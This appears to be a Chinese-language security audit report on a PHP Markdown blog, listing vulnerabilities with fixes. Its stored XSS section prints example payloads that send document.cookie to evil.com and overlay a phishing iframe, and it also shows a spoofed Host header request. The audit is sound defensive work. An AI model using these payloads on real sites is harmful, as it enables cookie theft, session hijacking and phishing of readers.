系统概述:MiniBlog 是一个 database-less 的轻量博客系统,通过扫描 Documents/ 目录下的 Markdown 文件生成文章列表,使用 Parsedown 1.8.0 将 Markdown 渲染为 HTML,通过文件系统 cache.json 缓存文章索引。
审查文件清单:
| 文件 | 行数 | 角色 | 攻击面 |
|---|---|---|---|
index.php | 151 | 首页 | 文章列表渲染、分类导航 |
article.php | 221 | 文章页 | 用户输入(slug)、Markdown 渲染、文件读取 |
sitemap.php | 41 | 站点地图 | HTTP Host 头 |
lib/articles.php | 84 | 缓存核心 | 文件读写、目录扫描 |
lib/Parsedown.php | ~1750 | MD 解析器 | HTML 渲染(第三方) |
public/search.js | 102 | 前端搜索 | DOM 操作 |
public/contact.js | 31 | 联系遮罩 | DOM 操作 |
.htaccess | 21 | 访问控制 | 文件访问策略 |
用户可控输入入口(仅 2 处):
article.php:11 — $_GET['a'] (文章 slug)sitemap.php:10 — $_SERVER['HTTP_HOST'] (HTTP Host 头)漏洞类型:CWE-79 跨站脚本攻击 (Stored XSS)
描述:article.php 第 59 行显式调用 $parser->setSafeMode(false),Parsedown 不会对 Markdown 中的原生 HTML 标签进行任何过滤或转义。Markdown 文件中的 <script>、<iframe>、<img onerror=...> 等标签将原样输出到页面中。
攻击前提:攻击者需要能向 Documents/ 目录写入 .md 文件。这可能通过:
攻击 Payload 示例:
<script>fetch('https://evil.com/?c='+document.cookie)</script>
<img src=x onerror="new Image().src='https://evil.com/?'+document.cookie">
<iframe src="https://evil.com/phishing" style="width:100%;height:100%;border:0;position:fixed;top:0;left:0;z-index:9999"></iframe>
影响:窃取 Cookie/Session、会话劫持、钓鱼攻击、恶意重定向、用户浏览器指纹采集。由于博客无认证机制,Cookie 窃取的直接影响有限,但钓鱼和恶意内容注入对读者造成直接危害。
$parser->setSafeMode(false);$parser->setSafeMode(true),Parsedown 会将 HTML 标签转义为纯文本。如需保留部分安全 HTML(如 <video>),可使用 $parser->setMarkupEscaped(false) + SafeMode + 白名单后处理。Content-Security-Policy: default-src 'self'; script-src 'self' 作为纵深防御,阻止内联脚本执行(但不能阻止 HTML 注入如钓鱼 iframe)。漏洞类型:CWE-79 跨站脚本攻击
描述:article.php 第 88 行将 Parsedown 提取的代码块语言标识符直接拼入 HTML 属性,未做转义:
$preAttr = $lang !== '' ? ' data-lang="' . $lang . '"' : '';
$codeAttr = $lang !== '' ? ' class="language-' . $lang . '"' : '';
$lang 来自正则 /class="language-([^"]+)"/ 的捕获组,即 Markdown 围栏代码块的语言标识符。攻击者可在 Markdown 中构造:
```">
生成的 HTML 将变为:
<pre data-lang=""><script>alert(1)</script><span "">...
闭合引号后注入任意 <script> 标签,即使 SafeMode 开启也无法防御(因为此注入发生在 Parsedown 输出之后的后处理阶段)。
攻击前提:同 #1,需要对 .md 文件的写入权限。
$lang 使用 htmlspecialchars($lang, ENT_QUOTES) 转义后再拼入属性:
$lang = htmlspecialchars($lang, ENT_QUOTES);
$preAttr = $lang !== '' ? ' data-lang="' . $lang . '"' : '';
$codeAttr = $lang !== '' ? ' class="language-' . $lang . '"' : '';
漏洞类型:CWE-644 不当处理 HTTP 头
描述:sitemap.php 第 10 行直接信任 $_SERVER['HTTP_HOST'],该值来自客户端 HTTP 请求的 Host: 头,可被攻击者任意伪造。生成的 sitemap XML 中所有 <loc> URL 都基于此值。
$host = $_SERVER['HTTP_HOST'];
$baseUrl = $protocol . '://' . $host . rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\') . '/';
攻击方式:
攻击示例:
GET /sitemap.php HTTP/1.1
Host: evil.com
# 生成的 sitemap:
# <loc>http://evil.com/article.php?a=xxx</loc>
注:虽然 htmlspecialchars($loc) 在第 33 行对输出做了 XML 转义,但 $host 本身可以被设为合法域名格式,不会触发转义。
$allowedHosts = ['mrga0.com', 'www.mrga0.com'];
$host = in_array($_SERVER['HTTP_HOST'] ?? '', $allowedHosts)
? $_SERVER['HTTP_HOST']
: $allowedHosts[0];
漏洞类型:CWE-732 关键资源权限配置不当
描述:.htaccess 第 7-9 行尝试禁止 documents 目录的 PHP 执行:
<Directory "documents">
php_flag engine off
</Directory>
但存在两个严重问题:
<Directory> 不可用于 .htaccess:Apache 官方文档明确指出 <Directory> 仅在主配置文件 (httpd.conf) 或 <VirtualHost> 上下文中有效。在 .htaccess 中使用会导致 500 Internal Server Error(取决于 Apache 版本和 AllowOverride 设置),或被静默忽略。php_flag 仅适用于 mod_php:如果服务器使用 PHP-FPM + FastCGI(现代部署的主流方式),php_flag 指令完全无效。Documents(大写 D),而 .htaccess 和 articles.php 中引用的是 documents(小写 d)。在 Linux(大小写敏感)上两者是不同路径。影响:如果攻击者能向 Documents 目录写入 .php 文件(通过其他漏洞或共享主机越权),该文件可被直接请求执行,导致 RCE(远程代码执行)。
Documents/ 目录内部放置单独的 .htaccess:php_flag engine off + Require all denied<Directory> 块location ~ /Documents/.*\.php$ { deny all; }documents,消除跨平台大小写问题漏洞类型:CWE-362 竞态条件 / CWE-733 不当文件操作
描述:lib/articles.php 第 67 行写入缓存文件时未使用文件锁 (LOCK_EX):
file_put_contents($cacheFile, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT));
同时第 32 行的读取也无锁:
$tmp = json_decode((string) file_get_contents($cacheFile), true);
攻击场景:当 cache.json 的签名失效(如新增文章后),多个并发请求同时触发缓存重建。两个 PHP 进程同时 file_put_contents 同一文件会导致:
json_decode 失败返回 null$tmp['sig'] 访问 null 导致 PHP Warning,缓存永远无法命中影响:DoS(服务不可用)— 在高并发下(如被搜索引擎爬虫密集抓取、或被 CC 攻击),系统可能因缓存反复损坏而性能骤降。
// 写入时加排他锁
file_put_contents($cacheFile, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT), LOCK_EX);
// 读取时加共享锁
$fp = fopen($cacheFile, 'r');
flock($fp, LOCK_SH);
$tmp = json_decode(stream_get_contents($fp), true);
flock($fp, LOCK_UN);
fclose($fp);
漏洞类型:CWE-693 保护机制失效
描述:三个 PHP 入口文件均未设置以下安全响应头:
| 响应头 | 作用 | 缺失影响 |
|---|---|---|
X-Content-Type-Options: nosniff | 阻止 MIME 嗅探 | 浏览器可能将非脚本文件当脚本执行 |
X-Frame-Options: DENY | 阻止页面被 iframe 嵌套 | 点击劫持 (Clickjacking) |
Content-Security-Policy | 内容安全策略 | 无法作为 XSS 的纵深防御 |
Strict-Transport-Security | 强制 HTTPS | SSL 降级攻击 |
Referrer-Policy | 控制 Referer 泄露 | 内部路径泄露给第三方 |
.htaccess 统一设置:
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header("Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'");
header('Referrer-Policy: strict-origin-when-cross-origin');
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
}
漏洞类型:CWE-400 不受控制的资源消耗
描述:article.php 第 11 行 $slug = trim($_GET['a'] ?? '') 未对输入长度做任何限制。攻击者可发送超长 slug(如 1MB 字符串),后续的 strpbrk 扫描和缓存数组遍历 foreach ($cache['articles'] as $a) 都需处理这个超长字符串,消耗 CPU。
虽然缓存命中失败后返回 404,但遍历过程本身仍消耗资源。在大量并发下可放大为 DoS。
$slug = trim($_GET['a'] ?? '');
if (strlen($slug) > 255) { http_response_code(404); exit('Not Found'); }
漏洞类型:CWE-178 不区分大小写的比较
描述:实际目录名为 Documents(大写 D),但代码中统一使用小写 documents:
lib/articles.php:15 — $baseDir = $root . '/documents'.htaccess:7 — <Directory "documents">在 Windows(开发环境)上大小写不敏感,功能正常。但部署到 Linux(生产环境)时:
Documents,articles.php 中 glob('documents/*') 将找不到任何文件,博客完全瘫痪.htaccess 中的 <Directory "documents"> 不会匹配 Documents 目录,即使修复了 #4 的指令位置问题安全角度:如果 Linux 上同时存在 documents 和 Documents 两个目录,.htaccess 的保护规则可能只覆盖了空目录。
documents(Linux 惯例),同时更新代码和实际目录名。
描述:当前使用 Parsedown 1.8.0(发布于 2019 年)。经 CVE 比对,已知的 CVE-2018-1000162(XSS 绕过 setMarkupEscaped)影响版本 < 1.7.0,已在 1.7.0 修复,1.8.0 不受影响。但该库已 5+ 年未更新,可能存在未公开的漏洞。
建议:关注 Parsedown 官方仓库是否有安全更新;考虑迁移到 Parsedown Extra 或其他维护更活跃的 Markdown 解析器(如 league/commonmark)。
const version = '1.8.0';描述:系统无任何请求频率限制机制。虽然静态博客本身资源消耗低,但以下场景可被利用:
article.php 发送大量不同 slug 参数,每次都触发缓存数组遍历glob() 和 filemtime() 在文章数量很多时消耗 I/O建议:在反向代理层(nginx/Apache)配置速率限制;或在 PHP 层实现简单的基于 IP 的频率控制。
描述:cache.json 包含所有文章的元数据(slug、标题、路径、修改时间),位于站点根目录。.htaccess 第 2-4 行通过 <FilesMatch "\.(md|json)$"> 阻止了直接访问。
此防护在 Apache + mod_rewrite 环境下有效,但在以下场景可能失效:
AllowOverride None(禁用 .htaccess)php -S 运行影响:泄露文章元数据(非敏感信息,但可能暴露未发布的草稿文件名)。
建议:将 cache.json 移到 Web 根目录之外(如 ../cache/cache.json),或重命名为 .cache.json(隐藏文件,已被 .htaccess 的 ^\. 规则阻止)。
$cacheFile = $root . '/cache.json';article.php:14 使用 strpbrk($slug, "/\\") 阻止路径分隔符,配合缓存数组白名单查找($map[$slug]),双重保证只能访问已索引的文件。
htmlspecialchars():index.php 的分类名/标题/slug,article.php 的标题/目录文本,sitemap.php 的 URL。
eval()、exec()、system()、shell_exec()、passthru()、proc_open()、popen() 等危险函数。
$_FILES 处理,无文件上传功能。
sitemap.php 仅输出 XML,不解析 XML 输入。
unserialize(),缓存使用 json_decode()。
.htaccess 阻止 ^\. 开头的文件直接访问。
article.php:47-56 使用 basename() 处理图片/视频路径,防止通过 Markdown 中的相对路径访问任意文件。
declare(strict_types=1)。
| 攻击类型 | 是否存在 | 说明 |
|---|---|---|
| XSS (跨站脚本) | 存在 (严重) | SafeMode 关闭 + lang 属性未转义 |
| 路径穿越 / 目录遍历 | 已防护 | strpbrk + 缓存白名单查找 |
| 文件读取越权 | 已防护 | 文件路径仅来自缓存索引 |
| SQL 注入 | 不适用 | 无数据库 |
| 命令注入 / RCE | 已防护 | 无命令执行函数;但 #4 可间接导致 |
| HTTP 头注入 | 存在 (高危) | Host 头未验证 |
| CSRF | 不适用 | 无状态变更操作 |
| SSRF | 不适用 | 无外部请求 |
| 文件上传攻击 | 不适用 | 无上传功能 |
| XXE | 不适用 | 不解析 XML |
| 反序列化 | 不适用 | 使用 JSON 不使用 serialize |
| 竞态条件 | 存在 (高危) | cache.json 无锁写入 |
| DoS (拒绝服务) | 低风险 | 无速率限制,但有缓存机制 |
| 信息泄露 | 低风险 | cache.json 由 .htaccess 保护 |
| 点击劫持 | 中风险 | 缺 X-Frame-Options |
| MIME 嗅探 | 低风险 | 缺 X-Content-Type-Options |
| 权限配置不当 | 存在 (高危) | .htaccess Directory 指令无效 |
| 优先级 | 漏洞编号 | 修复工作量 | 建议时间 |
|---|---|---|---|
| P0 (立即) | #1 XSS SafeMode | 1 行代码 | 立即 |
| P0 (立即) | #2 lang 属性注入 | 2 行代码 | 立即 |
| P1 (本周) | #3 Host 头注入 | 5 行代码 | 1 天内 |
| P1 (本周) | #4 .htaccess 修复 | 配置调整 | 1 天内 |
| P1 (本周) | #5 竞态加锁 | 3 行代码 | 1 天内 |
| P2 (近期) | #6 安全头 | 5 行代码 / .htaccess | 本周 |
| P2 (近期) | #7 slug 长度限制 | 1 行代码 | 本周 |
| P2 (近期) | #8 目录大小写统一 | 重命名 | 本周 |
| P3 (计划) | #9-#11 | 评估/监控 | 下月 |
本报告基于 MiniBlog v1.3.13 源码静态审计生成。审查覆盖全部 8 个源文件 + .htaccess 配置。CVE 比对基于 NVD/GitHub Advisory Database 截至 2026-07-29 的数据。综合评级 B- 基于:无数据库/无命令执行/路径穿越已防护等良好基线,但存在 2 个严重 XSS 和 3 个高危配置问题。